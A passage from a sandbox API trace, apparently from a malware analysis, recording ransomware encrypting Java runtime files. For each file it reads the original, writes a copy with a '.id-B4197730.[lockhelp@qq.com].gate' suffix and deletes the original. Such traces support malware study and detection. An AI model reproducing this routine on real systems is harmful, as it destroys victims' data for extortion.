lpString2=".jar") returned 1 [0296.361] lstrlenW (lpString=".rar") returned 4 [0296.361] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0296.361] lstrlenW (lpString=".bz2") returned 4 [0296.361] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0296.361] lstrlenW (lpString=".7z") returned 3 [0296.361] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0296.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.361] lstrlenW (lpString=".dbf") returned 4 [0296.361] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0296.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.361] lstrlenW (lpString=".1cd") returned 4 [0296.361] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0296.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0296.362] lstrlenW (lpString=".jpg") returned 4 [0296.362] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0296.362] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0296.362] lstrlenW (lpString="logging.properties") returned 18 [0296.362] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0296.362] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2455) returned 1 [0296.362] CloseHandle (hObject=0x4b8) returned 1 [0296.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0296.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.363] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0296.363] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.363] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.363] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0296.363] GetLastError () returned 0x0 [0296.364] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x997, lpOverlapped=0x0) returned 1 [0296.387] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x9a0, lpOverlapped=0x0) returned 1 [0296.388] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.388] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xf8, lpOverlapped=0x0) returned 1 [0296.388] SetEndOfFile (hFile=0x4c4) returned 1 [0296.389] CloseHandle (hObject=0x4c4) returned 1 [0296.404] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.404] SetEndOfFile (hFile=0x4b8) returned 1 [0296.444] CloseHandle (hObject=0x4b8) returned 1 [0296.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0296.544] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1 [0296.579] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.580] lstrlenW (lpString=".doc") returned 4 [0296.580] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0296.580] lstrlenW (lpString=".docx") returned 5 [0296.580] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0296.580] lstrlenW (lpString=".pdf") returned 4 [0296.580] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0296.580] lstrlenW (lpString=".xls") returned 4 [0296.580] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0296.580] lstrlenW (lpString=".xlsx") returned 5 [0296.580] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0296.580] lstrlenW (lpString=".ppt") returned 4 [0296.580] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0296.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.580] lstrlenW (lpString=".zip") returned 4 [0296.580] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0296.580] lstrlenW (lpString=".rar") returned 4 [0296.580] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0296.580] lstrlenW (lpString=".bz2") returned 4 [0296.580] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0296.580] lstrlenW (lpString=".7z") returned 3 [0296.580] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0296.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.580] lstrlenW (lpString=".dbf") returned 4 [0296.580] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0296.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.580] lstrlenW (lpString=".1cd") returned 4 [0296.580] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0296.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.580] lstrlenW (lpString=".jpg") returned 4 [0296.581] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0296.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.581] lstrlenW (lpString=".doc") returned 4 [0296.581] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0296.581] lstrlenW (lpString=".docx") returned 5 [0296.581] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0296.581] lstrlenW (lpString=".pdf") returned 4 [0296.581] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0296.581] lstrlenW (lpString=".xls") returned 4 [0296.581] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0296.581] lstrlenW (lpString=".xlsx") returned 5 [0296.581] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0296.581] lstrlenW (lpString=".ppt") returned 4 [0296.581] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0296.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.581] lstrlenW (lpString=".zip") returned 4 [0296.581] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0296.581] lstrlenW (lpString=".rar") returned 4 [0296.581] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0296.581] lstrlenW (lpString=".bz2") returned 4 [0296.581] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0296.581] lstrlenW (lpString=".7z") returned 3 [0296.581] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0296.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.581] lstrlenW (lpString=".dbf") returned 4 [0296.581] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0296.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.581] lstrlenW (lpString=".1cd") returned 4 [0296.581] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0296.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0296.581] lstrlenW (lpString=".jpg") returned 4 [0296.581] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0296.582] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0296.582] lstrlenW (lpString="management.properties") returned 21 [0296.582] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0296.582] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=14630) returned 1 [0296.582] CloseHandle (hObject=0x4c4) returned 1 [0296.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0296.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0296.583] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.583] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0297.036] GetLastError () returned 0x0 [0297.036] ReadFile (in: hFile=0x4c4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x3926, lpOverlapped=0x0) returned 1 [0297.184] WriteFile (in: hFile=0x4e8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x3930, lpOverlapped=0x0) returned 1 [0297.437] ReadFile (in: hFile=0x4c4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.437] WriteFile (in: hFile=0x4e8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xfe, lpOverlapped=0x0) returned 1 [0297.437] SetEndOfFile (hFile=0x4e8) returned 1 [0297.437] CloseHandle (hObject=0x4e8) returned 1 [0297.437] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.437] SetEndOfFile (hFile=0x4c4) returned 1 [0297.440] CloseHandle (hObject=0x4c4) returned 1 [0297.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0297.441] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1 [0297.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.442] lstrlenW (lpString=".doc") returned 4 [0297.442] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0297.442] lstrlenW (lpString=".docx") returned 5 [0297.442] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0297.442] lstrlenW (lpString=".pdf") returned 4 [0297.442] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0297.442] lstrlenW (lpString=".xls") returned 4 [0297.442] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0297.442] lstrlenW (lpString=".xlsx") returned 5 [0297.442] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0297.442] lstrlenW (lpString=".ppt") returned 4 [0297.442] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0297.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.442] lstrlenW (lpString=".zip") returned 4 [0297.442] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0297.442] lstrlenW (lpString=".rar") returned 4 [0297.442] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0297.442] lstrlenW (lpString=".bz2") returned 4 [0297.442] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0297.442] lstrlenW (lpString=".7z") returned 3 [0297.442] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0297.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.442] lstrlenW (lpString=".dbf") returned 4 [0297.442] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0297.442] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.442] lstrlenW (lpString=".1cd") returned 4 [0297.443] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0297.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.443] lstrlenW (lpString=".jpg") returned 4 [0297.443] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0297.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.443] lstrlenW (lpString=".doc") returned 4 [0297.443] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0297.443] lstrlenW (lpString=".docx") returned 5 [0297.443] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0297.443] lstrlenW (lpString=".pdf") returned 4 [0297.443] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0297.443] lstrlenW (lpString=".xls") returned 4 [0297.443] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0297.443] lstrlenW (lpString=".xlsx") returned 5 [0297.443] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0297.443] lstrlenW (lpString=".ppt") returned 4 [0297.443] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0297.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.443] lstrlenW (lpString=".zip") returned 4 [0297.443] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0297.443] lstrlenW (lpString=".rar") returned 4 [0297.443] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0297.443] lstrlenW (lpString=".bz2") returned 4 [0297.443] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0297.443] lstrlenW (lpString=".7z") returned 3 [0297.443] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0297.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.444] lstrlenW (lpString=".dbf") returned 4 [0297.444] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0297.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.444] lstrlenW (lpString=".1cd") returned 4 [0297.444] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0297.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0297.444] lstrlenW (lpString=".jpg") returned 4 [0297.444] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0297.465] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3376) returned 1 [0297.465] CloseHandle (hObject=0x4f4) returned 1 [0297.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0297.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0297.465] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0297.466] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.466] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.466] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0297.466] GetLastError () returned 0x0 [0297.466] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xd30, lpOverlapped=0x0) returned 1 [0297.615] WriteFile (in: hFile=0x50c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xd40, lpOverlapped=0x0) returned 1 [0297.616] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.616] WriteFile (in: hFile=0x50c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0297.616] SetEndOfFile (hFile=0x50c) returned 1 [0297.616] CloseHandle (hObject=0x50c) returned 1 [0297.616] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.616] SetEndOfFile (hFile=0x4f4) returned 1 [0297.619] CloseHandle (hObject=0x4f4) returned 1 [0297.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0297.619] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1 [0297.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0297.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0297.620] lstrlenW (lpString=".doc") returned 4 [0297.620] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0297.620] lstrlenW (lpString=".docx") returned 5 [0297.620] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0297.620] lstrlenW (lpString=".pdf") returned 4 [0297.620] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0297.620] lstrlenW (lpString=".xls") returned 4 [0297.620] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0297.620] lstrlenW (lpString=".xlsx") returned 5 [0297.620] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0297.620] lstrlenW (lpString=".ppt") returned 4 [0297.620] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0297.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0297.620] lstrlenW (lpString=".zip") returned 4 [0297.620] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0297.620] lstrlenW (lpString=".rar") returned 4 [0297.620] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0297.621] lstrlenW (lpString=".bz2") returned 4 [0297.621] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0297.621] lstrlenW (lpString=".7z") returned 3 [0297.621] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0297.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0297.621] lstrlenW (lpString=".dbf") returned 4 [0297.621] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0297.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0297.621] lstrlenW (lpString=".1cd") returned 4 [0297.621] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0297.621] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0297.621] lstrlenW (lpString=".jpg") returned 4 [0297.621] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0297.621] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2126) returned 1 [0297.621] CloseHandle (hObject=0x4f4) returned 1 [0297.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0297.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0297.622] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0297.623] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.623] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.623] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0297.714] GetLastError () returned 0x0 [0297.714] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x84e, lpOverlapped=0x0) returned 1 [0298.204] WriteFile (in: hFile=0x538, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x850, lpOverlapped=0x0) returned 1 [0298.204] ReadFile (in: hFile=0x4f4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.204] WriteFile (in: hFile=0x538, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0298.205] SetEndOfFile (hFile=0x538) returned 1 [0298.205] CloseHandle (hObject=0x538) returned 1 [0298.205] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.205] SetEndOfFile (hFile=0x4f4) returned 1 [0298.271] CloseHandle (hObject=0x4f4) returned 1 [0298.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0298.271] DeleteFileW (lpFileName="C:\\Program 